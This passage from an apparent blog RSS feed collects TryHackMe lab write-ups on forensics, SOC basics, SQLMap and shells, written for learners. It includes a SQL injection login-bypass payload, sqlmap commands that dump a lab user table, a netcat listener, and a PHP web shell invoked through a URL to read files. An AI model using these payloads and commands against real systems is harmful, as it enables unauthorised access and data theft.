&lt;p&gt;Acquiring evidence is a critical job. Some general practices must be followed while the evidence is acquired.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Proper Authorization&lt;/li&gt;
&lt;li&gt;Chain of Custody&lt;/li&gt;
&lt;li&gt;Use of Write Blockers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which tool is used to ensure data integrity during the collection?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;write blocker&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the name of the document that has all the details of the collected digital evidence?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;chain of custody&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Windows Forensics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Disk Images:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;FTK Imager&lt;/strong&gt; is a widely used tool for taking disk images.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Autopsy&lt;/strong&gt; is a popular open-source platform for conducting extensive analysis of an acquired disk image.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Memory Images:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DumpIt&lt;/strong&gt; offers the utility of taking a memory image from a Windows operating system&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Volatility&lt;/strong&gt; is a powerful open-source tool for analyzing memory images.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which type of forensic image is taken to collect the volatile data from the operating system?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Memory Image&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Practical Example of Digital Forensics&lt;/h2&gt;
&lt;p&gt;Everything we do on our digital devices leaves traces.&lt;/p&gt;
&lt;p&gt;In this scenario, a kidnapper has sent a document. We can learn from the file&apos;s metadata.&lt;/p&gt;
&lt;h3&gt;PDF Metadata Analysis&lt;/h3&gt;
&lt;p&gt;Much information gets kept within a file’s metadata when you use a more advanced editor, such as MS Word. We can try to read the metadata using the program &lt;strong&gt;pdfinfo&lt;/strong&gt;, which displays various metadata related to a PDF file, such as the author, creator, and creation date.&lt;/p&gt;
&lt;h3&gt;Photo EXIF Data&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;EXIF&lt;/strong&gt; is a standard for saving metadata to image files. Because smartphones are equipped with a GPS sensor, finding &lt;strong&gt;GPS coordinates&lt;/strong&gt; embedded in the image is highly probable. One command-line tool is &lt;strong&gt;exiftool&lt;/strong&gt;, which is used to read and write metadata in various file types, such as JPEG images.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BUKKTlzX_mXDhx.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using pdfinfo, find out the author of the attached PDF file, ransom-letter.pdf.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ann Gree Shepherd&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.Do3Xx7Mf_2qn14i.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The GPS coordinates we get from exiftool should be written as 51°30&apos;51.9&quot;N 0°05&apos;38.7&quot;W and then we can search in google maps like this: &lt;a href=&quot;https://www.google.com/maps/place/51%C2%B030&amp;#x27;51.9%22N+0%C2%B005&amp;#x27;38.7%22W&quot;&gt;https://www.google.com/maps/place/51%C2%B030&apos;51.9%22N+0%C2%B005&apos;38.7%22W&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.BUfGFKca_1fVuB8.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using exiftool or any similar tool, try to find where the kidnappers took the image they attached to their document. What is the name of the street?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;milk street&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can run this following command: exiftool PHOTO.jpg | grep Camera&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.HZlsVvxi_xFEK6.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the model name of the camera used to take this photo?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;canon eos r6&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.BURVxJJk.png"/><enclosure url="/_astro/image.BURVxJJk.png"/></item><item><title>SOC Fundamentals | TryHackMe Write-Up</title><link>https://farros.co/blog/soc-fundamentals-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/soc-fundamentals-tryhackme-write-up/</guid><description>Learn about the SOC team and their processes.</description><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/socfundamentals&quot;&gt;SOC Fundamentals&lt;/a&gt;, learn about the SOC team and their processes. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction to SOC&lt;/h2&gt;
&lt;p&gt;This room will delve into some key concepts of SOC, one of the most important fields in defensive security.&lt;/p&gt;
&lt;h3&gt;Learning Objectives&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Building a baseline for SOC (Security Operations Center)&lt;/li&gt;
&lt;li&gt;Detection and response in SOC&lt;/li&gt;
&lt;li&gt;The role of People, Processes, and Technology&lt;/li&gt;
&lt;li&gt;Practical exercise&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What does the term SOC stand for?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Security Operations Center&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Purpose and Components&lt;/h2&gt;
&lt;h3&gt;Detection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Detect vulnerabilities&lt;/li&gt;
&lt;li&gt;Detect unauthorized activity&lt;/li&gt;
&lt;li&gt;Detect policy violations&lt;/li&gt;
&lt;li&gt;Detect intrusions&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Response&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Support with the incident response&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The SOC team discovers an unauthorized user is trying to log in to an account. Which capability of SOC is this?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Detection&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What are the three pillars of a SOC?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;People, Process, Technology&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: People&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.QkhTQNzI_noCkv.webp&quot; alt=&quot;credit: TryHackMe&quot;&gt;
Alert triage and reporting is the responsibility of?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SOC Analyst (Level 1)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which role in the SOC team allows you to work dedicatedly on establishing rules for alerting security solutions?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Detection Engineer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Process&lt;/h2&gt;
&lt;p&gt;At the end of the investigation, the SOC team found that John had attempted to steal the system&apos;s data. Which &apos;W&apos; from the 5 Ws does this answer?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;who&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The SOC team detected a large amount of data exfiltration. Which &apos;W&apos; from the 5 Ws does this answer?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;what&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Technology&lt;/h2&gt;
&lt;p&gt;Which security solution monitors the incoming and outgoing traffic of the network?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Firewall&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Do SIEM solutions primarily focus on detecting and alerting about security incidents? (yea/nay)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;yea&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Practical Exercise of SOC&lt;/h2&gt;
&lt;p&gt;We can follow the instructions below.
&lt;img src=&quot;https://farros.co/_astro/image-2.Bn46LAoy_qfFXv.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The answer is a false positive because that is part of normal operation.&lt;/p&gt;
&lt;p&gt;What: Activity that triggered the alert?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Port Scan&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When: Time of the activity?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;June 12, 2024 17:24&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Where: Destination host IP?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;10.0.0.3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Who: Source host name?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nessus&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Why: Reason for the activity? Intended/Malicious
Intended&lt;/p&gt;
&lt;p&gt;Additional Investigation Notes: Has any response been sent back to the port scanner IP? (yea/nay)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;yea&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the flag found after closing the alert?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{000_INTRO_TO_SOC}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Conclusion&lt;/h2&gt;
&lt;p&gt;I understand the fundamentals of a SOC.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.DAdfpNRW.png"/><enclosure url="/_astro/image.DAdfpNRW.png"/></item><item><title>SQLMap: The Basics | TryHackMe Write-Up</title><link>https://farros.co/blog/sqlmap-the-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/sqlmap-the-basics-tryhackme-write-up/</guid><description>Learn about SQL injection and exploit this vulnerability through the SQLMap tool.</description><pubDate>Tue, 16 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/shellsoverview&quot;&gt;Shells Overview&lt;/a&gt;, learn about the different types of shells. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;h3&gt;Learning Objectives&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;SQL injection vulnerability&lt;/li&gt;
&lt;li&gt;Hunting SQL injection through the SQLMap tool&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Room Prerequisites&lt;/h3&gt;
&lt;p&gt;While having a solid &lt;a href=&quot;https://tryhackme.com/room/sqlfundamentals&quot;&gt;SQL Fundamentals&lt;/a&gt; knowledge is helpful, it is not required to complete this room.&lt;/p&gt;
&lt;p&gt;Which language builds the interaction between a website and its database?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Sql&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: SQL Injection Vulnerability&lt;/h2&gt;
&lt;p&gt;When input is improperly sanitized, attackers can manipulate the input and write SQL queries to perform SQL injection attacks.&lt;/p&gt;
&lt;p&gt;For example, on a login page, an attacker can change the query from &lt;code&gt;SELECT * FROM users WHERE username = &apos;John&apos; AND password = &apos;...&apos;&lt;/code&gt; to the following by entering &lt;code&gt;abc&apos; OR 1=1;-- -&lt;/code&gt; as the password:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM users WHERE username = &apos;John&apos; AND password = &apos;abc&apos; OR 1=1;-- -&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because &lt;code&gt;1=1&lt;/code&gt; is always true, it will ignore the random password and successfully execute the query, logging the attacker into John&apos;s account. The &lt;code&gt;-- -&lt;/code&gt; comments out the rest of the original query.&lt;/p&gt;
&lt;p&gt;Which boolean operator checks if at least one side of the operator is true for the condition to be true?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OR&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Is 1=1 in an SQL query always true? (YEA/NAY)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;YEA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Automated SQL Injection Tool&lt;/h2&gt;
&lt;p&gt;SQLMap is an automated tool for detecting and exploiting SQL injection vulnerabilities in web applications. For beginners, the &lt;code&gt;--wizard&lt;/code&gt; flag will guide us through each step.&lt;/p&gt;
&lt;p&gt;We can test a URL that uses GET parameters with the &lt;code&gt;-u&lt;/code&gt; flag. After finding a vulnerability, we can use other flags to extract information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--dbs&lt;/code&gt; to extract all the database names.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D [database_name] --tables&lt;/code&gt; to extract tables from a specific database.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-D [database_name] -T [table_name] --dump&lt;/code&gt; to extract records from a table.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For POST-based testing, we can use the command &lt;code&gt;sqlmap -r [intercepted_request.txt]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Which flag in the SQLMap tool is used to extract all the databases available?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;--dbs&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What would be the full command of SQLMap for extracting all tables from the &quot;members&quot; database? (Vulnerable URL: &lt;a href=&quot;http://sqlmaptesting.thm/search/cat=1&quot;&gt;http://sqlmaptesting.thm/search/cat=1&lt;/a&gt;)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sqlmap -u &lt;a href=&quot;http://sqlmaptesting.thm/search/cat=1&quot;&gt;http://sqlmaptesting.thm/search/cat=1&lt;/a&gt; -D members --tables&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Practical Exercise&lt;/h2&gt;
&lt;p&gt;This task is to test SQL injection vulnerabilities on a login page hosted at &lt;code&gt;http://MACHINE_IP/ai/login&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.BWwSQCkV_ZIfpAg.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Since the GET parameters are not visible in the URL, we need to use the browser&apos;s inspect option and the Network tab to find the complete URL after a test login attempt. Alternatively, we can use the URL: &lt;code&gt;http://MACHINE_IP/ai/includes/user_login?email=test&amp;#x26;password=test&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.B0gxep5f_Z1qFGTN.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can run this following command &lt;code&gt;sqlmap -u &apos;http://MACHINE_IP/ai/includes/user_login?email=test&amp;#x26;password=test&apos; --dbs&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.AVybQJV__Z97kkW.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;How many databases are available in this web application?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;6&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can run this following command &lt;code&gt;sqlmap -u &apos;http://MACHINE_IP/ai/includes/user_login?email=test&amp;#x26;password=test&apos; -D ai --tables&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.Bm38gQbP_J4WLB.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the name of the table available in the &quot;ai&quot; database?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;user&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can run this following command `sqlmap u &apos;&lt;a href=&quot;http://MACHINE_IP/ai/includes/user_login?email=test&amp;#x26;password=test&quot;&gt;http://MACHINE_IP/ai/includes/user_login?email=test&amp;#x26;password=test&lt;/a&gt;&apos; --dbs --tables -D ai -T user --dump&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.CsxqcX-W_vBDFU.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the password of the email &lt;a href=&quot;mailto:test@chatai.com&quot;&gt;test@chatai.com&lt;/a&gt;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;12345678&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.v8Qs4E38.png"/><enclosure url="/_astro/image.v8Qs4E38.png"/></item><item><title>Shells Overview | TryHackMe Write-Up</title><link>https://farros.co/blog/shells-overview-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/shells-overview-tryhackme-write-up/</guid><description>Learn about the different types of shells.</description><pubDate>Mon, 15 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/shellsoverview&quot;&gt;Shells Overview&lt;/a&gt;, learn about the different types of shells. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Room Introduction&lt;/h2&gt;
&lt;p&gt;Shells in cyber security are widely used by attackers to remotely control systems.&lt;/p&gt;
&lt;p&gt;In this room, we&apos;ll explore different shells, including how to set up and use Reverse and Bind Shells and deploy Web Shells.&lt;/p&gt;
&lt;p&gt;The focus is on understanding how shells work without the use of Metasploit or other Frameworks.&lt;/p&gt;
&lt;p&gt;Click to complete the task.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Shell Overview&lt;/h2&gt;
&lt;p&gt;A shell is software that allows a user to interact with an OS.&lt;/p&gt;
&lt;p&gt;In cyber security, it commonly refers to a specific shell session an attacker uses when accessing a compromised system, allowing them to run commands, execute software remotely, and perform a wide range of post-exploitation activities.&lt;/p&gt;
&lt;p&gt;What is the command-line interface that allows users to interact with an operating system?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Shell&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What process involves using a compromised system as a launching pad to attack other machines in the network?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pivoting&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is a common activity attackers perform after obtaining shell access to escalate their privileges?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Privilege Escalation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Reverse Shell&lt;/h2&gt;
&lt;p&gt;A reverse shell is a technique where connections initiate from the target system to the attacker&apos;s machine, which can help avoid detection from network firewalls.&lt;/p&gt;
&lt;p&gt;An attacker uses a tool like Netcat to listen for a connection. A reverse shell payload is then executed on the target, which exposes the shell through the network.&lt;/p&gt;
&lt;p&gt;Once executed, the attacker will receive a reverse shell, allowing them to execute commands as if they were logging into a regular terminal.&lt;/p&gt;
&lt;p&gt;What type of shell allows an attacker to execute commands remotely after the target connects back?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Reverse Shell&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What tool is commonly used to set up a listener for a reverse shell?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Netcat&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Bind Shell&lt;/h2&gt;
&lt;p&gt;A bind shell binds a port on the compromised system and listens for a connection. When this connection occurs, it exposes the shell session so the attacker can execute commands remotely.&lt;/p&gt;
&lt;p&gt;This method can be used when the compromised target does not allow outgoing connections. On the target, a command is executed to listen for incoming connections; the attacker then uses Netcat to connect and get a shell.&lt;/p&gt;
&lt;p&gt;What type of shell opens a specific port on the target for incoming connections from the attacker?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Bind Shell&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Listening below which port number requires root access or privileged permissions?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1024&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Shell Listeners&lt;/h2&gt;
&lt;p&gt;This text explores tools that can be used as listeners to interact with an incoming reverse shell.&lt;/p&gt;
&lt;p&gt;The tools covered are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rlwrap&lt;/strong&gt;: A utility that provides editing keyboard and history.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ncat&lt;/strong&gt;: An improved version of Netcat with extra features, like encryption (SSL).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Socat&lt;/strong&gt;: A utility that allows you to create a socket connection between two data sources.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which flexible networking tool allows you to create a socket connection between two data sources?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;socat&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which command-line utility provides readline-style editing and command history for programs that lack it, enhancing the interaction with a shell listener?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;rlwrap&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the improved version of Netcat distributed with the Nmap project that offers additional features like SSL support for listening to encrypted shells?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ncat&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Shell Payloads&lt;/h2&gt;
&lt;p&gt;A Shell Payload is a command or script that exposes the shell for a reverse or bind shell.&lt;/p&gt;
&lt;p&gt;The text provides various reverse shell payloads that can be used in the Linux OS, with examples using:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bash&lt;/li&gt;
&lt;li&gt;PHP&lt;/li&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;Telnet&lt;/li&gt;
&lt;li&gt;AWK&lt;/li&gt;
&lt;li&gt;BusyBox&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which Python module is commonly used for managing shell commands and establishing reverse shell connections in security assessments?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;subprocess&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What shell payload method in a common scripting language uses the exec, shell_exec, system, passthru, and popen functions to execute commands remotely through a TCP connection?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PHP&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which scripting language can use a reverse shell by exporting environment variables and creating a socket connection?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Web Shell&lt;/h2&gt;
&lt;p&gt;A web shell is a script written in a language supported by a compromised web server that executes commands through the web server itself. It can be hidden within a compromised web application or service, making it difficult to detect.&lt;/p&gt;
&lt;p&gt;Web shells can be written in languages like PHP, ASP, and JSP. After the web shell is deployed, it can be accessed through a URL to execute a command and display the result in the web browser.&lt;/p&gt;
&lt;p&gt;What vulnerability type allows attackers to upload a malicious script by failing to restrict file types?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Unrestricted File Upload&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is a malicious script uploaded to a vulnerable web application to gain unauthorized access?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Web Shell&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 8: Practical Task&lt;/h2&gt;
&lt;p&gt;To test our knowledge, let&apos;s get the flag from the vulnerable web server by clicking the Start Machine button.&lt;/p&gt;
&lt;p&gt;The challenge will be accessible on the following URLs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[MACHINE_IP]:8081&lt;/code&gt; hosts the web application that is vulnerable to command injection.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[MACHINE_IP]:8082&lt;/code&gt; hosts the web application that is vulnerable to an unrestricted file upload.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using a reverse or bind shell, exploit the command injection vulnerability to get a shell. What is the content of the flag saved in the / directory?&lt;/p&gt;
&lt;p&gt;First, we can run &lt;code&gt;nc -lnvp 4444&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-09-15%20215708.BASGLmTl_7k2Hw.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And then, open a new terminal and run this command to know what IP we have: &lt;code&gt;ip addr show tun0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Open the browser, go to &lt;code&gt;[MACHINE_IP]:8080&lt;/code&gt;, and click &quot;Reverse/Bind Shell Tank&quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-09-15%20221830.CvOjv0Qc_27Uvw7.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And then, you can fill the input field** with this reverse shell command&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-09-15%20221954.Ch5YTxRA_Z14XLqT.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And then, our listener will get a connection and we can get the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-09-15%20222818.V6mTL2QR_1iL8h1.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using a web shell, exploit the unrestricted file upload vulnerability and get a shell. What is the content of the flag saved in the / directory?&lt;/p&gt;
&lt;p&gt;We can go to &lt;code&gt;[MACHINE_IP]:8082&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And then, we can create a file named &lt;code&gt;shell.php&lt;/code&gt; with this script:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-09-15%20223856.BdrCBhoN_15483W.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Keep the listener running on port 4444.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-09-15%20224154.qLmoOm8d_2fQtMW.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can upload the &lt;code&gt;shell.php&lt;/code&gt; file to the website until &lt;strong&gt;the upload is successful&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/Screenshot%202025-09-15%20224303.DQYdVf8b_22sfAc.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And then, go to this URL &lt;code&gt;[MACHINE_IP]:8082/uploads/shell.php?cmd=cat%20/flag.txt&lt;/code&gt; and we get the flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{202bb14ed12120b31300cfbbbdd35998786b44e5}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 9: Conclusion&lt;/h2&gt;
&lt;p&gt;Reverse Shells establish a connection from a compromised machine back to an attacker&apos;s system. Bind Shells listen for incoming connections on a compromised machine, and Web Shells offer attackers a unique avenue for exploiting vulnerabilities in web applications.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.C-XqV7Kk.png"/><enclosure url="/_astro/image.C-XqV7Kk.png"/></item><item><title>Common Attacks | TryHackMe Write-Up</title><link>https://farros.co/blog/common-attacks-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/common-attacks-tryhackme-write-up/</guid><description>With practical exercises see how common attacks occur, and improve your cyber hygiene to stay safer online.</description><pubDate>Sun, 14 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/commonattacks&quot;&gt;Common Attacks&lt;/a&gt;, with practical exercises see how common attacks occur, and improve your cyber hygiene to stay safer online. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;Let&apos;s get started!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Social Engineering&lt;/h2&gt;
